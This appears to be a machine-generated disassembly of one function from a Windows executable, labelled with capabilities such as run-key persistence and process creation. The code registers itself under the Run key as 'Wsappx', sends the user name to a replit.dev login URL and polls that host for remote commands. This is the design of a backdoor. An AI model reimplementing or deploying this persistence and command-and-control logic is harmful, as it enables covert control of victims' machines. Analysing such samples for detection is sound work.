Function at 0x140003c50
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Delete file
Get session user name
Persist via run registry key
Read file on windows
Set registry value
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0x1650
call fcn.1400193c0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1640], rax
xor r12d, r12d
mov dword [rsp + 0x3c0], r12d
mov r8d, 0x104
lea rdx, [rsp + 0x530]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x140003ccd
lea rdx, str.Failed_to_get_executable_path._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400099e0
mov rbx, 0xffffffffffffffff
jmp 0x140003d75
lea rax, [rsp + 0x318]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x140003d04
lea rdx, str.Failed_to_open_registry_key._n
jmp 0x140003cb5
lea rcx, [rsp + 0x530]
mov rbx, 0xffffffffffffffff
mov rax, rbx
inc rax
cmp byte [rcx + rax], r12b
jne 0x140003d16
inc eax
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x530]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Wsappx
mov rcx, qword [rsp + 0x318]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140003d67
lea rdx, str.Failed_to_set_registry_value._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400099e0
mov rcx, qword [rsp + 0x318]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, str.C:ProgramData_bin
mov qword [rsp + 0x430], rax
mov qword [rsp + 0x438], 0x12
call fcn.140017e68
movaps xmm0, xmmword [rsp + 0x430]
movdqa xmmword [rsp + 0x430], xmm0
lea r8, [rsp + 0x430]
mov edx, eax
lea rcx, [rsp + 0x510]
call fcn.140001f90
mov r13d, 0xc
mov dword [rsp + 0x3c0], r13d
lea rcx, [rsp + 0x510]
call fcn.140002ae0
test al, al
jne 0x140003eab
lea rcx, [rsp + 0x510]
cmp qword [rsp + 0x528], 7
cmova rcx, qword [rsp + 0x510]
call fcn.140017fa4
mov rdx, rax
shr rax, 0x20
test eax, eax
je 0x140003e1b
shr rdx, 0x20
lea r8, [rsp + 0x510]
call fcn.140002a10
xorps xmm0, xmm0
movups xmmword [rsp + 0x408], xmm0
mov qword [rsp + 0x418], r12
mov qword [rsp + 0x420], r12
mov r8d, 0x1f
lea rdx, str.created_bin_folder_successfully
lea rcx, [rsp + 0x408]
call fcn.14000a6e0
mov rdx, qword [rsp + 0x420]
cmp rdx, 0xf
jbe 0x140003e97
inc rdx
mov rcx, qword [rsp + 0x408]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e91
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003e91
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018494
nop
jmp 0x140003eab
mov dword [rsp + 0x3c0], 0x101
lea rdx, [rsp + 0x3c0]
lea rcx, [rsp + 0x530]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x140003f1a
xorps xmm0, xmm0
movups xmmword [rsp + 0x4f0], xmm0
mov qword [rsp + 0x500], r12
mov qword [rsp + 0x508], r12
lea rax, [rsp + 0x530]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140003ef3
mov r8, rbx
lea rdx, [rsp + 0x530]
lea rcx, [rsp + 0x4f0]
call fcn.14000a6e0
mov r13d, 0x1c
xor edx, edx
lea rcx, [rsp + 0x4c0]
call fcn.140008890
nop
lea rax, [rsp + 0x3b0]
mov qword [rsp + 0x320], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x3b0], xmm0
xor eax, eax
mov qword [rsp + 0x3b8], rax
movzx edx, byte [rsp + 0x3b0]
lea rcx, [rsp + 0x3b8]
call fcn.140009120
mov byte [rsp + 0x3b0], 3
xorps xmm0, xmm0
movups xmmword [rsp + 0x430], xmm0
mov ecx, 0x20
call fcn.140018450
mov rbx, rax
lea rax, [rsp + 0x428]
mov qword [rsp + 0x430], rax
mov qword [rsp + 0x438], rbx
lea rdx, [rsp + 0x4f0]
mov rcx, rbx
call fcn.140007840
nop
mov qword [rsp + 0x3b8], rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x3e8], xmm0
mov qword [rsp + 0x3f8], r12
mov qword [rsp + 0x400], r12
mov r8d, 4
lea rdx, str.name
lea rcx, [rsp + 0x3e8]
call fcn.14000a6e0
lea rax, [rsp + 0x3e8]
mov qword [rsp + 0x328], rax
movzx ecx, byte [rsp + 0x4c0]
test cl, cl
jne 0x140004025
mov byte [rsp + 0x4c0], 1
call fcn.14000b310
mov qword [rsp + 0x4c8], rax
movzx ecx, byte [rsp + 0x4c0]
jmp 0x14000402d
mov rax, qword [rsp + 0x4c8]
cmp cl, 1
jne 0x140005b3b
lea r8, [rsp + 0x3e8]
lea rdx, [rsp + 0x430]
mov rcx, rax
call fcn.1400134c0
mov rbx, qword [rsp + 0x430]
mov rdx, qword [rsp + 0x400]
cmp rdx, 0xf
jbe 0x14000409c
inc rdx
mov rcx, qword [rsp + 0x3e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004097
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004097
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018494
mov qword [rsp + 0x3f8], r12
mov qword [rsp + 0x400], 0xf
mov byte [rsp + 0x3e8], 0
movzx ecx, byte [rbx + 0x40]
movzx eax, byte [rsp + 0x3b0]
mov byte [rbx + 0x40], al
mov byte [rsp + 0x3b0], cl
mov rax, qword [rbx + 0x48]
mov rcx, qword [rsp + 0x3b8]
mov qword [rbx + 0x48], rcx
mov qword [rsp + 0x3b8], rax
movzx edx, byte [rsp + 0x3b0]
lea rcx, [rsp + 0x3b8]
call fcn.140009120
nop
lea rdx, [rsp + 0x480]
lea rcx, [rsp + 0x4c0]
call fcn.140006d10
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x440], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x450], xmm1
mov r8d, 4
lea rdx, str.POST
lea rcx, [rsp + 0x440]
call fcn.14000a6e0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x408], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x418], xmm1
mov r8d, 0x53
lea rdx, str.https:__edf4bc0a_b108_45ec_9597_da2efe942f81_00_1gl8qneytsy5o.worf.replit.dev_login
lea rcx, [rsp + 0x408]
call fcn.14000a6e0
nop
mov qword [rsp + 0x20], r12
mov r9, rbx
lea r8, [rsp + 0x440]
lea rdx, str.Content_Type:_application_json
lea rcx, [rsp + 0x408]
call fcn.140003620
movzx ebx, al
mov rdx, qword [rsp + 0x420]
cmp rdx, 0xf
jbe 0x1400041e5
inc rdx
mov rcx, qword [rsp + 0x408]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400041e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400041e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018494
movdqa xmm0, xmmword [0x14001dc70]
movdqu xmmword [rsp + 0x418], xmm0
mov byte [rsp + 0x408], 0
mov rdx, qword [rsp + 0x458]
cmp rdx, 0xf
jbe 0x140004245
inc rdx
mov rcx, qword [rsp + 0x440]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000423f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000423f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018494
nop
mov rdx, qword [rsp + 0x498]
cmp rdx, 0xf
jbe 0x14000428b
inc rdx
mov rcx, qword [rsp + 0x480]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004286
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004286
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018494
xorps xmm0, xmm0
mov qword [rsp + 0x418], r12
mov qword [rsp + 0x420], r12
lea rcx, [rsp + 0x408]
movups xmmword [rsp + 0x408], xmm0
test bl, bl
je 0x1400043e7
mov r8d, 0x1d
lea rdx, str.Login_triggered_successfully.
call fcn.14000a6e0
mov rdx, qword [rsp + 0x420]
cmp rdx, 0xf
jbe 0x14000430b
inc rdx
mov rcx, qword [rsp + 0x408]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004306
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000443f
call fcn.140018494
xorps xmm0, xmm0
movups xmmword [rsp + 0x408], xmm0
mov qword [rsp + 0x418], r12
mov qword [rsp + 0x420], 0xf
mov byte [rsp + 0x408], 0
movabs r15, 0x7fffffffffffffff
nop dword [rax]
xorps xmm0, xmm0
movups xmmword [rsp + 0x3e8], xmm0
mov qword [rsp + 0x3f8], r12
mov qword [rsp + 0x400], 0xf
mov byte [rsp + 0x3e8], 0
movups xmmword [rsp + 0x440], xmm0
mov qword [rsp + 0x450], r12
mov qword [rsp + 0x458], r12
xor r8d, r8d
lea rdx, [0x14001b811]
lea rcx, [rsp + 0x440]
call fcn.14000a6e0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x4a0], xmm0
mov qword [rsp + 0x4b0], r12
mov qword [rsp + 0x4b8], r12
mov r8d, 3
lea rdx, [0x14001bae4]
lea rcx, [rsp + 0x4a0]
call fcn.14000a6e0
nop
mov rax, r15
mov rdx, qword [rsp + 0x500]
sub rax, rdx
cmp rax, 0x59
jae 0x140004446
call fcn.1400012c0
nop
mov r8d, 0x18
lea rdx, str.Failed_to_trigger_login.
call fcn.14000a6e0
mov rdx, qword [rsp + 0x420]
cmp rdx, 0xf
jbe 0x14000430b
inc rdx
mov rcx, qword [rsp + 0x408]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004306
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004306
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea r14, [rsp + 0x4f0]
cmp qword [rsp + 0x508], 0xf
cmova r14, qword [rsp + 0x4f0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x3c8], xmm0
mov qword [rsp + 0x3d8], r12
mov qword [rsp + 0x3e0], r12
lea rsi, [rdx + 0x59]
mov ebx, 0xf
lea rdi, [rsp + 0x3c8]
cmp rsi, rbx
jbe 0x14000451c
mov rbx, rsi
or rbx, 0xf
cmp rbx, r15
jbe 0x1400044d1
mov rbx, r15
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140018450
test rax, rax
je 0x140004604
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000450c
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1400044ec
mov rdi, r12
jmp 0x140004514
cmp rcx, 0x1000
jb 0x140004504
lea rax, [rcx + 0x27]
cmp rax, rcx
ja 0x1400044b2
call fcn.140001180
int3
call fcn.140018450
mov rdi, rax
mov rdx, qword [rsp + 0x500]
mov qword [rsp + 0x3c8], rdi
mov qword [rsp + 0x3d8], rsi
mov qword [rsp + 0x3e0], rbx
movaps xmm0, xmmword [str.https:__edf4bc0a_b108_45ec_9597_da2efe942f81_00_1gl8qneytsy5o.worf.replit.dev_queue_name]
movups xmmword [rdi], xmm0
movaps xmm1, xmmword [0x14001bc70]
movups xmmword [rdi + 0x10], xmm1
movaps xmm0, xmmword [0x14001bc80]
movups xmmword [rdi + 0x20], xmm0
movaps xmm1, xmmword [0x14001bc90]
movups xmmword [rdi + 0x30], xmm1
movaps xmm0, xmmword [0x14001bca0]
movups xmmword [rdi + 0x40], xmm0
movsd xmm0, qword [0x14001bcb0]
movsd qword [rdi + 0x50], xmm0
movzx eax, byte [0x14001bcb8]
mov byte [rdi + 0x58], al
lea rcx, [rdi + 0x59]
mov r8, rdx
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
or r13d, 2
mov dword [rsp + 0x3c0], r13d
lea rax, [rsp + 0x3e8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x440]
lea r8, [rsp + 0x4a0]
lea rdx, str.Content_Type:_application_json
lea rcx, [rsp + 0x3c8]
call fcn.140003620
nop
mov rdx, qword [rsp + 0x3e0]
cmp rdx, 0xf
jbe 0x140004610
inc rdx
mov rcx, qword [rsp + 0x3c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000460b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000460b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018494
mov qword [rsp + 0x3d8], r12
mov qword [rsp + 0x3e0], 0xf
mov byte [rsp + 0x3c8], 0
mov rdx, qword [rsp + 0x4b8]
cmp rdx, 0xf
jbe 0x140004673
inc rdx
mov rcx, qword [rsp + 0x4a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000466d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000466d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018494
nop
mov rdx, qword [rsp + 0x458]
cmp rdx, 0xf
jbe 0x1400046b9
inc rdx
mov rcx, qword [rsp + 0x440]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400046b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400046b4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018494
mov r14, qword [rsp + 0x3f8]
lea r15, [rsp + 0x3e8]
cmp qword [rsp + 0x400], 0xf
cmova r15, qword [rsp + 0x3e8]
movabs rax, 0x7fffffffffffffff
cmp r14, rax
jbe 0x1400046f0
call fcn.1400012c0
int3
cmp r14, 0xf
jbe 0x1400047ba
mov rdi, r14
or rdi, 0xf
cmp rdi, rax
jbe 0x140004736
mov rdi, rax
movabs rax, 0x8000000000000000
mov rsi, rax
lea rcx, [rax + 0x27]
call fcn.140018450
test rax, rax
je 0x1400048f1
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140004774
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rsi, [rdi + 1]
test rsi, rsi
jne 0x140004751
mov rbx, r12
jmp 0x140004774
cmp rsi, 0x1000
jb 0x140004769
lea rcx, [rsi + 0x27]
cmp rcx, rsi
ja 0x14000471a
call fcn.140001180
int3
mov rcx, rsi
call fcn.140018450
mov rbx, rax
lea r8, [r14 + 1]
mov rdx, r15
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
cmp rdi, 0xf
jbe 0x1400047ba
cmp rsi, 0x1000
jb 0x1400047ae
add rsi, 0x27
mov rcx, qword [rbx - 8]
sub rbx, rcx
lea rax, [rbx - 8]
cmp rax, 0x1f
ja 0x1400048f1
mov rbx, rcx
mov rdx, rsi
mov rcx, rbx
call fcn.140018494
nop
mov qword [rsp + 0xf8], r12
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x3e8]
lea rcx, [rsp + 0x3b0]
call fcn.14000a010
nop
movzx r14d, byte [rsp + 0x3b0]
cmp r14b, 1
jne 0x140004892
mov rax, qword [rsp + 0x3b8]
mov r15, qword [rax]
mov rbx, qword [r15 + 8]
mov rsi, r15
cmp byte [rbx + 0x19], 0
jne 0x140004858
nop dword [rax + rax]
lea rcx, [rbx + 0x20]
mov rdi, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x140004822
mov rcx, qword [rcx]
mov r8, rdi
cmp rdi, 7
mov eax, 7
cmova r8, rax
lea rdx, str.command
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400048f8
js 0x140004902
mov rsi, rbx
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], 0
je 0x140004810
cmp byte [rsi + 0x19], 0
jne 0x140004892
lea rcx, [rsi + 0x20]
mov rbx, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x140004870
mov rcx, qword [rcx]
mov r8, rbx
cmp rbx, 7
mov edi, 7
cmova r8, rdi
lea rdx, str.command
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14000490b
js 0x140004910
movzx edx, r14b
lea rcx, [rsp + 0x3b8]
call fcn.140009120
nop
mov rdx, qword [rsp + 0x400]
cmp rdx, 0xf
jbe 0x140005af3
inc rdx
mov rcx, qword [rsp + 0x3e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005aee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005aee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
cmp rdi, 7
jae 0x14000484c
mov rbx, qword [rbx + 0x10]
jmp 0x140004852
cmp rbx, rdi
ja 0x140004892
cmp rsi, r15
je 0x140004892
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], r12
mov qword [rsp + 0xb8], r12
mov r8, rdi
lea rdx, str.command
lea rcx, [rsp + 0xa0]
call fcn.14000a6e0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x58], rax
movzx eax, byte [rsp + 0x3b0]
test al, al
jne 0x140004986
mov byte [rsp + 0x3b0], 1
call fcn.14000b310
mov rcx, rax
mov qword [rsp + 0x3b8], rax
movzx eax, byte [rsp + 0x3b0]
jmp 0x14000498e
mov rcx, qword [rsp + 0x3b8]
cmp al, 1
jne 0x140004b5f
lea r8, [rsp + 0xa0]
lea rdx, [rsp + 0x130]
call fcn.1400134c0
mov rbx, qword [rsp + 0x130]
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0xf
jbe 0x1400049f9
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400049f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400049f4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018494
mov qword [rsp + 0xb0], r12
mov qword [rsp + 0xb8], 0xf
mov byte [rsp + 0xa0], 0
movzx r14d, byte [rsp + 0x3b0]
cmp byte [rbx + 0x40], 3
jne 0x140004892
cmp r14b, 1
jne 0x140004adf
mov rax, qword [rsp + 0x3b8]
mov r15, qword [rax]
mov rbx, qword [r15 + 8]
mov rsi, r15
cmp byte [rbx + 0x19], 0
jne 0x140004a9d
nop word [rax + rax]
lea rcx, [rbx + 0x20]
mov rdi, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x140004a62
mov rcx, qword [rcx]
mov r8, rdi
cmp rdi, 0xa
mov eax, 0xa
cmova r8, rax
lea rdx, str.channel_id
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140004bae
js 0x140004bb8
mov rsi, rbx
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], 0
je 0x140004a50
mov edi, 7
cmp byte [rsi + 0x19], 0
jne 0x140004adf
lea rcx, [rsi + 0x20]
mov rbx, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x140004ab5
mov rcx, qword [rcx]
mov r8, rbx
cmp rbx, 0xa
mov eax, 0xa
cmova r8, rax
lea rdx, str.channel_id
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140004bc1
js 0x140004bcb
movzx edx, r14b
lea rcx, [rsp + 0x3b8]
call fcn.140009120
nop
mov rdx, qword [rsp + 0x400]
cmp rdx, 0xf
jbe 0x140004b34
inc rdx
mov rcx, qword [rsp + 0x3e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004b2f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400048ea
call fcn.140018494
mov qword [rsp + 0x3f8], r12
mov qword [rsp + 0x400], 0xf
mov byte [rsp + 0x3e8], 0
movabs r15, 0x7fffffffffffffff
jmp 0x140004340
lea rcx, [rsp + 0x3b0]
call fcn.14000c950
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rsp + 0xc0]
call fcn.140011bc0
nop
mov r8, rax
mov edx, 0x131
lea rcx, [rsp + 0x2a8]
call fcn.140011c80
lea rdx, [0x140021d18]
lea rcx, [rsp + 0x2a8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
cmp rdi, 0xa
jae 0x140004a8c
mov rbx, qword [rbx + 0x10]
jmp 0x140004a92
cmp rbx, 0xa
ja 0x140004adf
cmp rsi, r15
je 0x140004adf
xorps xmm0, xmm0
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x98], r12
mov r15d, 0xa
mov r8d, r15d
lea rdx, str.channel_id
lea rcx, [rsp + 0x80]
call fcn.14000a6e0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x58], rax
movzx eax, byte [rsp + 0x3b0]
test al, al
jne 0x140004c47
mov byte [rsp + 0x3b0], 1
call fcn.14000b310
mov rcx, rax
mov qword [rsp + 0x3b8], rax
movzx eax, byte [rsp + 0x3b0]
jmp 0x140004c4f
mov rcx, qword [rsp + 0x3b8]
cmp al, 1
jne 0x140005a9f
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x140]
call fcn.1400134c0
mov rbx, qword [rsp + 0x140]
mov rdx, qword [rsp + 0x98]
cmp rdx, 0xf
jbe 0x140004cba
inc rdx
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004cb5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004cb5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018494
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x98], 0xf
mov byte [rsp + 0x80], 0
cmp byte [rbx + 0x40], 3
jne 0x140005a91
xorps xmm0, xmm0
movups xmmword [rsp + 0x3c8], xmm0
mov qword [rsp + 0x3d8], r12
mov qword [rsp + 0x3e0], r12
mov r8, rdi
lea rdx, str.command
lea rcx, [rsp + 0x3c8]
call fcn.14000a6e0
lea rax, [rsp + 0x3c8]
mov qword [rsp + 0x58], rax
movzx eax, byte [rsp + 0x3b0]
test al, al
jne 0x140004d4d
mov byte [rsp + 0x3b0], 1
call fcn.14000b310
mov rcx, rax
mov qword [rsp + 0x3b8], rax
movzx eax, byte [rsp + 0x3b0]
jmp 0x140004d55
mov rcx, qword [rsp + 0x3b8]
cmp al, 1
jne 0x140005a42
lea r8, [rsp + 0x3c8]
lea rdx, [rsp + 0x150]
call fcn.1400134c0
mov rbx, qword [rsp + 0x150]
mov rdx, qword [rsp + 0x3e0]
cmp rdx, 0xf
jbe 0x140004dc0
inc rdx
mov rcx, qword [rsp + 0x3c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004dbb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004dbb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018494
mov qword [rsp + 0x3d8], r12
mov qword [rsp + 0x3e0], 0xf
mov byte [rsp + 0x3c8], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x460], xmm0
mov rsi, r12
mov qword [rsp + 0x470], r12
mov r14d, 0xf
mov qword [rsp + 0x478], r14
mov byte [rsp + 0x460], 0
or r13d, 0x40
mov dword [rsp + 0x3c0], r13d
cmp byte [rbx + 0x40], 3
je 0x140004e60
lea rcx, [rbx + 0x40]
call fcn.14000c950
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rsp + 0xc0]
call fcn.140017990
nop
mov r8, rax
lea rcx, [rsp + 0x200]
call fcn.140017a50
lea rdx, [0x140021d18]
lea rcx, [rsp + 0x200]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rdx, qword [rbx + 0x48]
lea rax, [rsp + 0x460]
cmp rax, rdx
je 0x140004e9b
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], r14
jbe 0x140004e7e
mov rdx, qword [rdx]
lea rcx, [rsp + 0x460]
call fcn.140008ae0
mov r14, qword [rsp + 0x478]
mov rsi, qword [rsp + 0x470]
and r13d, 0xffffffbf
or r13d, 0x20
mov dword [rsp + 0x3c0], r13d
xorps xmm0, xmm0
movups xmmword [rsp + 0x3c8], xmm0
mov qword [rsp + 0x3d8], r12
mov qword [rsp + 0x3e0], r12
mov r8, r15
lea rdx, str.channel_id
lea rcx, [rsp + 0x3c8]
call fcn.14000a6e0
lea rax, [rsp + 0x3c8]
mov qword [rsp + 0x58], rax
movzx eax, byte [rsp + 0x3b0]
test al, al
jne 0x140004f18
mov byte [rsp + 0x3b0], 1
call fcn.14000b310
mov rcx, rax
mov qword [rsp + 0x3b8], rax
movzx eax, byte [rsp + 0x3b0]
jmp 0x140004f20
mov rcx, qword [rsp + 0x3b8]
cmp al, 1
jne 0x1400059f3
lea r8, [rsp + 0x3c8]
lea rdx, [rsp + 0x160]
call fcn.1400134c0
mov rdi, qword [rsp + 0x160]
mov rdx, qword [rsp + 0x3e0]
cmp rdx, 0xf
jbe 0x140004f8b
inc rdx
mov rcx, qword [rsp + 0x3c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004f86
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004f86
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018494
mov qword [rsp + 0x3d8], r12
mov qword [rsp + 0x3e0], 0xf
mov byte [rsp + 0x3c8], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x4d0], xmm0
mov qword [rsp + 0x4e0], r12
mov ebx, 0xf
mov qword [rsp + 0x4e8], rbx
mov byte [rsp + 0x4d0], 0
bts r13d, 8
mov dword [rsp + 0x3c0], r13d
cmp byte [rdi + 0x40], 3
je 0x140005028
lea rcx, [rdi + 0x40]
call fcn.14000c950
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rsp + 0xc0]
call fcn.140017990
nop
mov r8, rax
lea rcx, [rsp + 0x190]
call fcn.140017a50
lea rdx, [0x140021d18]
lea rcx, [rsp + 0x190]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rdx, qword [rdi + 0x48]
lea rax, [rsp + 0x4d0]
cmp rax, rdx
je 0x14000505b
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], rbx
jbe 0x140005046
mov rdx, qword [rdx]
lea rcx, [rsp + 0x4d0]
call fcn.140008ae0
mov rbx, qword [rsp + 0x4e8]
btr r13d, 8
bts r13d, 7
mov dword [rsp + 0x3c0], r13d
lea rdx, [rsp + 0x460]
cmp r14, 0xf
cmova rdx, qword [rsp + 0x460]
lea rcx, [rsp + 0x408]
cmp qword [rsp + 0x420], 0xf
cmova rcx, qword [rsp + 0x408]
mov rdi, qword [rsp + 0x418]
cmp rdi, rsi
jne 0x140005131
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140005131
cmp rbx, 0xf
jbe 0x1400050f9
lea rdx, [rbx + 1]
mov rcx, qword [rsp + 0x4d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400050f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
